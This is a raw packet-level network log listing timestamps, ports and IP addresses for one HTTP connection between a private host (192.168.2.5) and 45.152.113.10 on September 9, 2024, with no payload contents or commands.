Sep 9, 2024 18:45:05.522650003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522696018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522788048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522803068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522816896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522830009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522830963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522844076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522847891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522856951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522865057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522875071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522882938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522886038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522903919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522917032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522924900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522936106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522958040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522970915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523118973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523133993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523149967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523165941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523175955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523184061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523189068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523201942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523206949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523216963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523240089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523255110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523271084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523293018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523305893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523430109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523446083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523461103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523469925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523478985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523483038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523497105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523500919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523519993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523531914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523736000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523752928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.523782015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.523793936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610236883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610258102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610284090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610302925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610318899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610347033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610347033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610349894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610367060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610383987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610402107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610408068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610423088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610433102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610440016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610460043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610476017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610500097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610513926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610517979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610532045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610549927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610567093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610573053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610585928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610604048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610635042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610651970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610667944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610675097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610686064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610693932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610704899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610712051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610724926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610724926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610743999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610765934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610779047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610795021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610832930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610897064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610913992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610929966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610937119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610949039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610951900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610969067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.610969067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610982895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.610991001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611007929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611016989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611056089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611100912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611118078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611135006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611140966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611154079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611154079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611172915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611176014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611190081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611193895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611217976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611229897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611248970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611265898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611304998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611320019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611336946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611355066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611358881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611372948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611372948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611399889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611402988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611409903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611417055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611433983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611455917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611464024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611509085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611576080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611593008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611608028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611614943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611625910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611632109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611644983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611644983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611663103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611665010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611680984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611685991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611696959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611702919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611720085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611740112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611780882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611902952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611918926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611936092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611942053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611953974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611958981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611970901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.611972094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.611990929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612000942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612000942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612010002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612027884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612046003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612047911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612060070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612077951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612188101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612205029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612221003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612224102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612236977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612238884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612257004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612257957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612272978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612277031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612287998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612308025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612310886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612329006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612345934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612346888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612363100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612365961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612382889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612385035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612396955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612417936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612487078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612503052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612519026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612524986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612534046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612541914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612551928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612560034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612576962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612579107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612597942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612615108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612627983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612644911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.612665892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.612678051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613065958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613090038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613106012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613107920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613126040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613126993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613143921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613145113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613162041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613163948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613176107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613179922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613198042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613198996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613217115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613229990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613234997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613249063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613265038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613266945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613286018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613292933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613302946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613310099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613326073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613328934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613342047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613346100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613363028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613383055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613437891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613456011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613471985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613476992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613487959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613493919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613501072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613506079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613523960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613523960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613543034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613543987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613555908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613559961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613576889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613579035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613595963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613595963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613615036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613615990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613634109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613635063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613652945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613653898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613670111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613670111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613687992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613689899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613706112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.613707066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613724947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.613743067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.702991962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703042030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703059912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703075886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703093052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703109026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703125000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703140974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703156948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703159094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703171015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703178883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703190088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703197956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703202963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703217030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703226089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703236103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703243971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703275919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703299046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703315973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703330994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703337908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703350067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703368902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703422070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703437090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703454018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703469038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703474998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703488111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703488111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703502893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703526020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703594923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703609943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703633070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703634977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703644991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703674078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703691006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703706026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703711987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703723907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703727007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703742981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703743935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703761101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703763008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703778982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703782082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703797102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703799963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703815937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703834057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703936100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703949928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703964949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.703974009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703990936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.703996897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704005003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704013109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704030037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704049110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704051971 CEST	80	49707	45.152.113.10	192.168.2.5
